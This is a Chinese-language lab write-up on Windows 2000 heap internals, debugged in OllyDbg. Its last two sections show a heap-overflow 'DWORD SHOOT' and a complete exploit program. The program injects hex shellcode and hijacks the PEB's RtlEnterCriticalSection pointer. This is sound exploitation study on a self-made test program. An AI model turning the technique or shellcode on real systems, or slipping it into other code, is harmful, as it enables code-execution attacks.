0x01 堆的工作原理

实验环境:

推荐使用环境 备注
操作系统 Windows20000虚拟机 分配策略对操作系统非常敏感
编译器 Visual C++ 6.0 默认编译选项
编译选项 默认编译选项 VS2003/VS2005的GS选项将导致实验失败
build 版本 release VS2003/VS2005的GS选项将导致实验失败
调试器 Ollydbg 需要配置Make OllyDbg just-in-time debugger选项

调试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <windows.h>

main()
{
HLOCAL h1,h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3

h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);

// free block and prevent coaleses
HeapFree(hp,0,h1); //free to freelist[2]
HeapFree(hp,0,h3); //free to freelist[2]
HeapFree(hp,0,h5); //free to freelist[4]

HeapFree(hp,0,h4); // coalese h3,h4,h5,link the large block to freelist[8]

return 0;
}

调试过程:
(1)在 VC6.0 中设置 build 为 Release 版本,并在 OllyDbg 中 “Options” 菜单中选中 “Just-in-time debugging”,单击 “Make OllyDbg just-in-time debugger”,然后单击 “Done” 按钮确认。
(2)运行上面程序之后,在系统出现错误提示的时候,选择“取消”,将会进入OD进行调试:
在这里插入图片描述
(3)使用Alt+M可以查看当前内存映射状态,一般来说,进程中会存在若干堆区,如下:

  • 为测试进程包含的一个始于0x00130000大小为0x6000的进程堆,可以通过GetProcessHeap()获得这个堆的句柄。
  • 为malloc创建的堆。
  • 为我们代码中创建的堆。
    在这里插入图片描述


0x02 识别堆表

在程序初始化过程中,malloc 使用的堆和进程堆都已经经过了若干次分配和释放操作,里边的堆块相对比较“凌乱”。因此,我们在程序中使用 HeapCreate() 函数创建一个新的堆进行分析。
HeapCreate()成功地创建了堆区之后,会把整个堆区的起始地址返回给 EAX,这里是0x00360000:
在这里插入图片描述
通过 Ctrl+G 到 0x00360000 的内存中进行查看, 从 0x00360000 开始,堆表中包含的信息依次是段表索引(Segment List)、虚表索引(Virtual Allocation list)、空表使用标识(freelist usage bitmap)和空表索引区。

我们主要观察偏移 0x178 处的空表索引区,偏移0x00360178即为是空表的头。
可以看到:

  • freelist[0] 指向目前堆中唯一的一个尾块(0x00360688),共八个字节(前四个字节是前向指针,后四个字节是后向指针)。
  • 除零号空表索引外,其余各项索引都指向自己,说明这些空闲链表都为空。
    在这里插入图片描述
    可以看到块尾(0x00360688)的指针同样是指向 freelist[0] 的(0x00360178):
    在这里插入图片描述
    块首的具体含义可借鉴下图:
    在这里插入图片描述

0x03 堆块的分配

堆块的分配细节如下:

  • 堆块大小包含块首,故,如果申请32字节,那么实际被认为申请的是40字节(8字节块首+32 字节块身)
  • 堆块的单位是8字节,不足8字节将按8字节分配
  • 初始状态下,快表和空表为空,不存在精确分配。所以将使用次优块分配,即尾块
  • 由于次优分配,尾块会被陆续切走一些小块,它的块首中的 size 信息会改变,并且 freelist[0] 会指向新的尾块位置

所以对于我们程序中的前 6 次连续的内存请求,实际分配情况如下:

堆句柄 请求字节数 实际分配(堆单位) 实际分配(字节)
H1 3 2 16
H2 5 2 16
H3 6 2 16
H4 8 2 16
H5 19 4 32
H6 24 4 32

在CPU窗口,命令F8单步执行程序到地址:0x0040102B处,这时我们执行完了

1
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 3)

当h1被分配以后直接查看freelist[0](0x00360178),发现指向的地址由0x00360688变成了0x00360698:

在这里插入图片描述
接着查看0x00360698:
在这里插入图片描述
从图中可以看出:分配给h1的大小为0x0002, size=16bytes

继续单步运行到地址0x00401059,将h1~h6全部分配完,此时查看0x00360178指向了0x00360708:
在这里插入图片描述
查看0x00360708:
在这里插入图片描述
可以发现,如今的尾块长度为0x0120个堆单位。一开始时为0x0130个堆单位,差值为16个堆单位,这恰恰是前六次分配出去的内存之和。

根据最后一次调用HeapAlloc后EAX中返回的指针,我们可以找到最后一次分配的内存位置:
在这里插入图片描述
然后再往前搜索,可以发现前5次的分配。在下图中,我们用前6个红框标出了6次分配所得堆块的块首:
在这里插入图片描述
可以看到实际分配的堆单位符合表中的2、2、2、2、4、4。第7个红框标出的是新的尾块的块首,即尾块不断向后移动。


0x04 堆块的释放

单步运行至0x00401077处,此时释放了堆块 h1、h3、h5。
在这里插入图片描述
可知:h1、h3分别被释放到 freelist[2] 空表中, h5被释放到了freelist[4]空表中。此时freelistp[2]的前向指针指向关系为:0x00360688→0x00360A88→0x00360188,其他类似。

在这里插入图片描述
由于这三次释放的堆块在内存中不连续,所以不会发生合并。到目前为止,有三个空闲链表上有空闲块,分别是freelist[0]、freelist[2]、freelist[4]。


0x05 堆块的合并

继续将程序运行到 0x401080地址处,即执行了如下代码:

1
HeapFree(hp,0,h4);

当释放h4的时候由于出现了两个连续的空闲块,所以会发生堆块的合并现象。h3、h4、h5彼此相邻,它们合并后是8个堆单位,所以将被链入freelist[8]。
在这里插入图片描述
可以看到原来链接着h1、h3的Freelist[2]现在只剩h1(0x00360688),而Freelist[8]则链接了合并过后的新块(0x003606A8)。

我们来看0x003606A8,可以看到合并后的新块大小已经被修改为 0x0008,其空表指针指向 0x005201B8,也就是 freelist[8]的地址。
在这里插入图片描述

0x06 快表的使用

调试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <windows.h>

void main()
{
HLOCAL h1,h2,h3,h4;
HANDLE hp;
hp = HeapCreate(0, 0, 0);
__asm int 3

h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 24);

HeapFree(hp, 0, h1);
HeapFree(hp, 0, h2);
HeapFree(hp, 0, h3);
HeapFree(hp, 0, h4);

h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
HeapFree(hp, 0, h2);
}

同样的方式用OD进行调试,查看 0x00360178 内存地址:
在这里插入图片描述
可以发现,freelist[0] 中的尾块的位置不在 0x00360688 了,那个位置被快表占据。

去 0x00360688 看一下当前的快表,可以看到堆刚初始化后快表是空的:
在这里插入图片描述

下面,首先从FreeList[0]中依次申请8、8、16、24字节的内存,然后进行释放到快表中(快表未满时优先释放到快表中)。根据三个堆块的大小我们可以知道8字节的会被释放到Lookaside[1]中、16字节的会被释放到Lookaside[2]中、24字节的会被释放到Lookaside[3]中。

接下来我们把程序运行到第四次释放之后。我们释放的空间依次是(包含块首)16、16、24、32,由于快表此时未满,所以它们被插入快表中,分别插在lookaside[1]、[2]、[3]中,如下:
在这里插入图片描述
链在快表中的堆块块首的Flag值为0x01,即Busy。
在这里插入图片描述
继续将断点下在下面这行代码之后:

1
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);

由于h2的再次被申请,而优先从快表中分配,所以lookaside[2]会再次变为空,如下:
在这里插入图片描述


0x07 堆溢出利用之DWORD SHOOT

调试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <windows.h>

main()
{

HLOCAL h1, h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
_asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

// free the odd blocks to prevent coalesing
HeapFree(hp,0,h1);
HeapFree(hp,0,h3);
HeapFree(hp,0,h5); // now freelist[2] got 3 entries
// will allocate from freelist[2] which means unlink the last entry (h5)
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

return 0;
}

上述代码中申请六次空间,然后释放三次,把奇数次申请的空间释放掉(避免堆块合并),此时freelist[2]中应该链入了三个空闲堆块h1、h3、h5。
在此之后,倒数第二行代码再次申请空间,会导致freelist[2]的最后一个堆块(即之前的h5)被卸下。如果我们在调用申请函数的汇编指令之前把h5的前后指针按照前面所描述的方式修改掉,就会出现“DWORD SHOOT”。

我们将断点下载执行完六次申请、三次释放后,即将执行最后一次申请前调试状态如下:
Freelist[2]前向指针指向0x00360688(即h1)
在这里插入图片描述
继续查看0x00360688,如下
在这里插入图片描述
此时EBP的值为:0x0012FF80
在这里插入图片描述
下面我们的目标是通过 DWORD SHOOT 向EBP所指的栈帧位置写入 0x77777777,我们选中内存区域中 0x003606C8 对应的部分,按空格,将 flink 修改为 payload,将 blink 修改为目标地址,如下:

在这里插入图片描述然后将程序继续运行,查看栈帧中 0x0012FF80 的位置,发现已经被成功覆盖为了 0x77777777:
在这里插入图片描述


0x08 堆溢出利用之代码植入

以0x7FFDF024处的RtlEnterCriticalSection()指针为目标,练习一下DWORDSHOOT 后,劫持进程、植入代码的全套动作。

首先是正常的调试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <windows.h>

//200Bytes 0x90
char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
__asm int 3 //used to break the process
memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
//memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}

运行后在可以看到尾块的地址为0x00360758
在这里插入图片描述
继续执行memcpy后,我们观察0x00360688处开始的数据:
在这里插入图片描述
可以看到在200个0x90后正好是尾块块首的开始。所以一旦 shellcode 超过200字节,就将覆盖尾块块首。那么当h2再次申请空间时,就会导致 DWORD SHOOT。

下面我们就需要构造相应的 payload,需要注意的点如下:

  • 把前200个字节用真正的弹窗 shellcode 填充。
  • 紧随其后,附上 8 字节的块首信息。为了防止在 DWORD SHOOT 发生之前产生异常,直接将块首从内存中复制使用:“\x16\x01\x1A\x00\x00\x10\x00\x00”。
  • 把尾块的flink覆盖为0x00360688,即shellcode的起始地址。
  • 把尾块的后指针覆盖为0x7FFDF020,即P.E.B 中的RtlEnterCriticalSection()函数指针地址。

还有一个需要注意的地方是由于shellcode中的函数也要使用到被我们后面修改的PEB中的函数指针,所以我们在shellcode的开头需要修复一下函数指针:

1
2
3
mov eax, 7ffdf020
mov ebx, 77f82060
mov [eax], ebx

最终构造的shellcode组成如下:
在这里插入图片描述

造成溢出的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <windows.h>

char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x20\xF0\xFD\x7F\xBB\x60\x20\xF8\x77\x89\x18\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50\x53\xff\x57\xfc\x53\xff\x57\xf8\x90\x90\x90\x90\x90\x90\x90\x90\x16\x01\x1A\x00\x00\x10\x00\x00\x88\x06\x36\x00\x20\xf0\xfd\x7f";

int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
//__asm int 3 //used to break the process
//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}

运行后,可以看到成功执行了 shellcode:
在这里插入图片描述